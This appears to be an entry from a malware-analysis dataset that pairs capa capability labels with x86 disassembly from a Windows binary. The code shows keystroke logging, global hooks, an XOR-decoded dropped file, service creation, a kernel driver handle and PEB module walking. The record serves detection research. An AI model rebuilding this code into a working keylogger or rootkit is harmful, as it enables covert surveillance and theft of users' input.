joyce8/EMBER2024-capa huggingface dataset:
Function at 0x448ab0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x12
call esi
mov bx, word [esp + 0xc]
mov cl, bl
sar eax, 0xf
shr cl, 2
and eax, 1
and ecx, 1
xor eax, ecx
test ax, ax
je 0x448adb
pop esi
xor eax, eax
pop ebx
ret
push 0x11
call esi
mov dl, bl
sar eax, 0xf
shr dl, 1
and eax, 1
and edx, 1
xor eax, edx
test ax, ax
je 0x448af8
pop esi
xor eax, eax
pop ebx
ret
push 0x10
call esi
sar eax, 0xf
and eax, 0xffff
and ebx, 0xffff
not eax
xor eax, ebx
pop esi
and eax, 1
pop ebx
ret

Function at 0x448c20
Capabilities:
Set global application hook

Disassembly:
mov eax, dword [esp + 4]
push esi
test eax, eax
je 0x448c69
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.USER32.dll_SetWindowsHookExA]
push eax
push 0x448b60
push 0
call esi
mov dword [0x4e120c], eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x448c88
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0
push 0x448b20
push 3
call esi
mov dword [0x4e1208], eax
pop esi
ret
mov eax, dword [0x4e120c]
mov esi, dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push eax
call esi
mov eax, dword [esp + 0xc]
test eax, eax
je 0x448c88
mov ecx, dword [0x4e1208]
push ecx
call esi
pop esi
ret

Function at 0x44a1b0
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [esi + 4]
push 1
push eax
call edi
mov ecx, dword [esi + 4]
push 2
push ecx
mov dword [esi + 0x18], eax
call edi
mov edx, dword [esi + 4]
push 4
push edx
mov dword [esi + 0x1c], eax
call edi
mov dword [esi + 0x20], eax
mov eax, dword [esi + 4]
push 5
push eax
call edi
mov ecx, dword [esi + 4]
push 6
push ecx
mov dword [esi + 0x24], eax
call edi
mov edx, dword [esi + 4]
push 7
push edx
mov dword [esi + 0x28], eax
call edi
mov dword [esi + 0x34], eax
mov eax, dword [esi + 4]
push 9
push eax
call edi
mov ecx, dword [esi + 4]
push 0xa
push ecx
mov dword [esi + 0x2c], eax
call edi
mov dword [esi + 0x30], eax
pop edi
pop esi
ret
Function at 0x44a6e0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
call dword [sym.imp.WINMM.dll_timeGetTime]
mov ebp, dword [esp + 0x34]
mov ebx, dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov esi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x18]
push eax
call ebx
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push 0
push 2
push ecx
push edx
call fcn.0046fbf0
push 0
push 0x3e8
push edx
push eax
call fcn.0046fb40
mov dword [esp + 0x18], eax
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x20], edx
call esi
push 0
call edi
lea ecx, [esp + 0x20]
push ecx
call esi
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
sub ecx, eax
mov eax, dword [esp + 0x24]
sbb eax, edx
mov edx, dword [esp + 0x1c]
cmp eax, edx
jl 0x44a746
jg 0x44a775
cmp ecx, dword [esp + 0x18]
jb 0x44a746
lea edx, [esp + 0x10]
push 1
push edx
push 0x64
call fcn.00447310
mov ecx, eax
call fcn.00447be0
test dword [esp + 0x10], ebp
je 0x44a7a5
call dword [sym.imp.WINMM.dll_timeGetTime]
sub eax, dword [esp + 0x14]
cmp eax, 0x7d0
jb 0x44a70f
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x44c850
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 4], eax
lea edi, [ecx + ecx + 2]
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x44c889
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_mbstowcs]
push esi
call dword [sym.imp.MSVCRT.dll__wcslwr]
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp + 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
cmp ecx, 1
mov eax, dword [eax + 0xc]
lea edx, [eax + 0xc]
mov dword [ebp + 8], edx
jne 0x44c8ca
mov ebx, dword [edx]
mov dword [ebp + 8], edx
jmp 0x44c8f0
cmp ecx, 2
jne 0x44c8db
add eax, 0x14
mov edx, eax
mov dword [ebp + 8], eax
mov ebx, dword [edx]
jmp 0x44c8f0
cmp ecx, 3
jne 0x44c8e6
add eax, 0x1c
mov dword [ebp + 8], eax
mov edx, dword [ebp + 8]
mov ebx, dword [edx]
jmp 0x44c8f0
mov ecx, dword [ebp + 0xc]
mov esi, ebx
lea eax, [ecx*8]
sub esi, eax
mov ecx, 0x12
add esi, 8
lea edi, [ebp - 0x50]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x250]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea edx, [ebp - 0x250]
push edx
call dword [sym.imp.MSVCRT.dll__wcslwr]
mov ecx, dword [ebp - 8]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x14
test eax, eax
je 0x44c94e
mov edx, dword [ebx + 4]
mov eax, dword [ebx]
mov dword [ebp - 4], 1
mov dword [edx], eax
mov ecx, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [ecx + 4], edx
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp - 0x50]
cmp eax, 1
je 0x44c96b
cmp eax, 2
jne 0x44c963
mov ebx, dword [ebp - 0x48]
jmp 0x44c96b
cmp eax, 3
jne 0x44c96b
mov ebx, dword [ebp - 0x40]
cmp ebx, dword [ebp + 8]
jne 0x44c8ed
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [ebp - 4]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x451770
Capabilities:
Encrypt data using blowfish

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x4c
push ebx
push ebp
mov ebp, ecx
mov ebx, dword [esp + 0x5c]
mov ecx, dword [eax]
cmp ebx, 1
mov dword [ebp], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 4], edx
mov ecx, dword [eax]
mov dword [ebp + 8], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 0xc], edx
jae 0x4517c0
lea eax, [esp + 0x60]
lea ecx, [esp + 0x10]
push eax
mov dword [esp + 0x64], str.Incorrect_key_length
call dword [sym.imp.MSVCRT.dll_public:_void___thiscall_exception::constructor_char_const__const_const__]
lea ecx, [esp + 0x10]
push 0x4d63f8
push ecx
call sub.MSVCRT.dll__CxxThrowException
cmp ebx, 0x38
jbe 0x4517ca
mov ebx, 0x38
mov ecx, ebx
push esi
mov esi, dword [esp + 0x5c]
mov edx, ecx
push edi
lea edi, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp + 0x10]
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x12
mov esi, 0x4c17dc
mov edi, edx
mov dword [esp + 0x64], 0x12
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x58]
mov ecx, 0x400
mov esi, 0x4c1824
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x24]
mov esi, edx
xor edx, edx
mov dword [esp + 0x68], 4
mov edi, edx
xor edx, edx
mov dl, byte [ecx]
shl edi, 8
or edx, edi
inc ecx
inc eax
cmp eax, ebx
jne 0x451835
xor eax, eax
lea ecx, [esp + 0x24]
mov edi, dword [esp + 0x68]
dec edi
mov dword [esp + 0x68], edi
jne 0x45181e
mov edi, dword [esi]
add esi, 4
xor edi, edx
mov edx, dword [esp + 0x64]
mov dword [esi - 4], edi
dec edx
mov dword [esp + 0x64], edx
jne 0x451814
xor edi, edi
lea esi, [ebp + 0x10]
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.004518e0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x12
jb 0x451862
lea eax, [ebp + 0x58]
mov dword [esp + 0x68], 4
mov ebx, eax
xor edi, edi
mov esi, ebx
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.004518e0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x100
jl 0x451898
mov eax, dword [esp + 0x68]
add ebx, 0x400
dec eax
mov dword [esp + 0x68], eax
jne 0x451894
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret 0xc
Function at 0x452c40
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x47788f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x1c]
push ebp
push esi
push edi
lea esi, [eax + 7]
mov edi, ecx
shr esi, 3
shl esi, 3
push esi
mov dword [esp + 0x10], 0
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x28]
add esp, 4
mov ebp, eax
push ecx
push esi
push ebp
push edx
mov ecx, edi
call fcn.004527c0
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push ebp
lea ecx, [esp + 0x2c]
mov dword [esp + 0x2c], eax
call sub.MFC42.DLL_CString::operator_3
mov ecx, esi
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
mov dword [esp + 0x1c], 1
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x24]
add esp, 4
lea eax, [esp + 0x28]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_4
mov dword [esp + 0xc], 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x18], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10

Function at 0x452d10
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4778c7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
push edi
mov ebp, ecx
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], 1
mov eax, dword [eax - 8]
lea edi, [eax + 0xa]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
add esp, 4
mov esi, eax
lea edx, [esp + 0x28]
push ecx
push edi
push esi
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
call sub.MFC42.DLL_CString::CString_4
mov ecx, ebp
call fcn.00452b80
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
call sub.MFC42.DLL_CString::operator_3
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push esi
and ecx, 3
mov byte [esp + 0x20], 2
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x28]
add esp, 4
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_4
mov dword [esp + 0x10], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x14
ret 0xc

Function at 0x453240
Capabilities:
Encode data using xor

Disassembly:
push edi
push 0x4dc840
push 0x4e1318
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x453295
mov eax, dword [0x4df0e4]
push esi
xor esi, esi
test eax, eax
jbe 0x45328a
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
xor eax, eax
push edi
mov al, byte [esi + 0x4c3938]
xor eax, 0x7d
push eax
call ebx
mov eax, dword [0x4df0e4]
add esp, 8
inc esi
cmp esi, eax
jb 0x45326d
pop ebx
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop esi
pop edi
ret
Function at 0x4536d0
Capabilities:
Create service

Disassembly:
push esi
push edi
call fcn.00453750
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x453742
mov cl, byte [esp + 0x10]
mov eax, dword [esp + 0xc]
dec cl
push 0
neg cl
push 0
push 0
sbb ecx, ecx
push 0
and ecx, 0xfffffffe
push 0
push eax
add ecx, 3
push 1
push ecx
push 1
push 0xf01ff
push str.TLGDDPP
push str.TLGDDPP
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
call esi
test edi, edi
je 0x453742
push edi
call esi
call fcn.004537b0
pop edi
pop esi
ret 8
pop edi
xor al, al
pop esi
ret 8

Function at 0x453820
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x45387a
push 0xf01ff
push str.TLGDDPP
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
call edi
test esi, esi
je 0x45387a
lea eax, [esp + 8]
push ebx
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
setne bl
call edi
mov al, bl
pop ebx
pop edi
pop esi
add esp, 0x1c
ret
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
Function at 0x4538a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cc398
push 0x41f100
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
push str.qsefyjil
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x4e162c], eax
cmp eax, esi
je 0x4539dd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4539dd
push 0x4dc840
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov edi, eax
mov dword [ebp - 0x34], edi
cmp edi, esi
je 0x453947
mov dword [ebp - 0x38], esi
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
cmp esi, dword [0x4df124]
push edi
jae 0x45393c
xor ecx, ecx
mov cl, byte [esi + 0x4c9338]
xor ecx, 0x7d
push ecx
call ebx
add esp, 8
inc esi
mov dword [ebp - 0x38], esi
jmp 0x45391c
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor esi, esi
cmp dword [ebp + 0x14], esi
je 0x453963
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00453e10
add esp, 8
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4539dd
push esi
push 0x80
push 3
push esi
push esi
push 0xc0000000
push str..hkSymbolicLink
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x4e1624], eax
cmp eax, 0xffffffff
je 0x4539dd
mov dword [ebp - 0x24], esi
push esi
push esi
push esi
push 0x453890
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x24], eax
cmp eax, esi
je 0x4539dd
mov dword [0x4e1628], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
push esi
lea edx, [ebp - 0x2c]
push edx
push 4
lea eax, [ebp - 0x30]
push eax
push 8
lea ecx, [ebp - 0x28]
push ecx
push 0x8000201c
mov edx, dword [0x4e1624]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4539dd
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00453a00
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x453a00
Capabilities:
Delete file
Terminate thread

Disassembly:
mov edi, dword [ebp - 0x1c]
cmp edi, esi
jne 0x453a43
mov eax, dword [0x4e162c]
cmp eax, esi
je 0x453a1d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4e162c], esi
mov eax, dword [0x4e1624]
cmp eax, 0xffffffff
je 0x453a34
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4e1624], esi
mov eax, dword [ebp - 0x24]
cmp eax, esi
je 0x453a43
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x453c00
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [0x4e162c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x453c25
push 1
push eax
call fcn.00453c50
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret
xor eax, eax
ret
Function at 0x453c30
Capabilities:
Log keystrokes

Disassembly:
push 1
push 1
call fcn.00453c50
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret

Function at 0x453cc0
Capabilities:
Create service

Disassembly:
mov eax, dword [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0x10]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push 1
push 3
push 1
push 0xf01ff
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x453d19
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x431
je 0x453d15
call esi
push eax
push str.failure:_CreateService__error_code:_u_n
push 0x4e1630
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
xor eax, eax
pop esi
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
ret

Function at 0x453dc0
Capabilities:
Stop service

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x1c
push esi
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x453de4
pop esi
add esp, 0x1c
ret
lea edx, [esp + 4]
push edi
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x4556f0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
xor ebp, ebp
push esi
cmp ebx, 1
push edi
jl 0x45570b
cmp ebx, 8
jg 0x45570b
mov eax, 1
jmp 0x45570d
xor eax, eax
mov esi, dword [esp + 0x14]
push str.bad_pack_level
push eax
push esi
call fcn.00453f70
mov eax, dword [esi + 0x6af70]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af78], ebp
jne 0x455744
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
mov ecx, 0x7fff
xor eax, eax
lea edi, [esi + 0x4af70]
mov dword [esi + 0x6af6c], ebp
rep stosd dword es:[edi], eax
mov ax, word [ebx*8 + 0x4cc4fa]
xor ecx, ecx
mov dword [esi + 0x6af98], eax
mov cx, word [ebx*8 + 0x4cc4f8]
xor edx, edx
mov dword [esi + 0x6af9c], ecx
mov dx, word [ebx*8 + 0x4cc4fc]
xor eax, eax
mov dword [esi + 0x6afa0], edx
mov ax, word [ebx*8 + 0x4cc4fe]
cmp ebx, 2
mov dword [esi + 0x6af94], eax
jg 0x4557a5
mov eax, dword [esp + 0x1c]
or byte [eax], 4
jmp 0x4557b1
cmp ebx, 8
jl 0x4557b1
mov eax, dword [esp + 0x1c]
or byte [eax], 2
lea edi, [esi + 0x1af70]
push 0x10000
push edi
push esi
mov dword [esi + 0x6af84], ebp
mov dword [esi + 0x6af74], ebp
call dword [esi + 0xc]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af90], eax
je 0x45582a
cmp eax, 0xffffffff
je 0x45582a
cmp eax, 0x106
mov dword [esi + 0x6af8c], ebp
jae 0x4557f5
push esi
call fcn.00455a40
add esp, 4
mov dword [esi + 0x6af7c], ebp
xor eax, eax
mov edx, dword [esi + 0x6af7c]
xor ecx, ecx
mov cl, byte [edi + eax]
and edx, 0x3ff
and ecx, 0x7fff
shl edx, 5
xor ecx, edx
inc eax
cmp eax, 2
mov dword [esi + 0x6af7c], ecx
jb 0x4557fd
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], ebp
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x456ac0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x456acb
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x456bce
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x4cc548]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4cc548]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4cc548]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4cc548]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4cc548]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4cc548]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4cc548]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4cc548]
xor eax, edx
inc ecx
dec edi
jne 0x456ae6
pop edi
test esi, esi
je 0x456bf0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4cc548]
xor eax, edx
inc ecx
dec esi
jne 0x456bd2
pop esi
pop ebx
not eax
ret

Function at 0x456c00
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov edx, dword [ecx]
and esi, 0xff
mov eax, edx
and eax, 0xff
xor eax, esi
shr edx, 8
mov eax, dword [eax*4 + 0x4cc548]
xor eax, edx
mov edx, dword [ecx + 4]
mov dword [ecx], eax
and eax, 0xff
add eax, edx
mov edx, dword [ecx + 8]
imul eax, eax, 0x8088405
inc eax
mov esi, edx
mov dword [ecx + 4], eax
and esi, 0xff
shr eax, 0x18
xor eax, esi
pop esi
shr edx, 8
mov eax, dword [eax*4 + 0x4cc548]
xor eax, edx
mov dword [ecx + 8], eax
ret
Function at 0x456e30
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x44
lea eax, [esp + 0x10]
push esi
mov esi, dword [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x456e52
mov eax, 0x200
pop esi
add esp, 0x44
ret
mov eax, dword [esp + 0x14]
push ebp
mov edx, eax
xor ebp, ebp
and edx, 1
je 0x456e65
mov ebp, 1
test al, 2
je 0x456e6c
or ebp, 2
test al, 4
je 0x456e73
or ebp, 4
mov ecx, eax
and ecx, 0x10
je 0x456e7d
or ebp, 0x10
test al, 0x20
je 0x456e84
or ebp, 0x20
test ecx, ecx
je 0x456e90
or ebp, 0x40000000
jmp 0x456e96
or ebp, 0x80000000
or ebp, 0x1000000
test edx, edx
jne 0x456ea6
or ebp, 0x800000
push ebx
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x28
mov dword [esp + 0x14], eax
jbe 0x456f55
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x60]
push 2
push edx
push esi
call ebx
push 0
push 0
push 0x24
push esi
call edi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x20]
push 4
push ecx
push esi
call ebx
cmp word [esp + 0x58], 0x54ad
jne 0x456f55
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
lea edx, [eax + 0x34]
cmp ecx, edx
jbe 0x456f55
push 0
push 0
push eax
push esi
call edi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x24]
push 4
push ecx
push esi
call ebx
mov eax, dword [esp + 0x1c]
cmp eax, 0x5a4d
je 0x456f4f
cmp eax, 0x454e
je 0x456f4f
cmp eax, 0x454c
je 0x456f4f
cmp eax, 0x4550
jne 0x456f55
or ebp, 0x400000
mov eax, dword [esp + 0x5c]
pop edi
test eax, eax
pop ebx
je 0x456f61
mov dword [eax], ebp
mov eax, dword [esp + 0x58]
pop ebp
test eax, eax
je 0x456f70
mov edx, dword [esp + 8]
mov dword [eax], edx
mov esi, dword [esp + 0x58]
test esi, esi
je 0x456fb9
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push eax
push ecx
call fcn.00456d90
mov dword [esi], eax
mov eax, dword [esp + 0x30]
mov dword [esi + 4], edx
mov edx, dword [esp + 0x34]
push edx
push eax
call fcn.00456d90
mov ecx, dword [esp + 0x2c]
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
mov edx, dword [esp + 0x28]
push ecx
push edx
call fcn.00456d90
mov dword [esi + 0x10], eax
add esp, 0x18
mov dword [esi + 0x14], edx
mov esi, dword [esp + 0x5c]
test esi, esi
je 0x456ff8
mov edx, dword [esp + 0x2c]
lea eax, [esp + 0x50]
lea ecx, [esp + 0x4c]
push eax
mov eax, dword [esp + 0x2c]
push ecx
push edx
push eax
call fcn.00456dc0
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x60]
and ecx, 0xffff
and edx, 0xffff
shl ecx, 0x10
add esp, 0x10
or ecx, edx
mov dword [esi], ecx
xor eax, eax
pop esi
add esp, 0x44
ret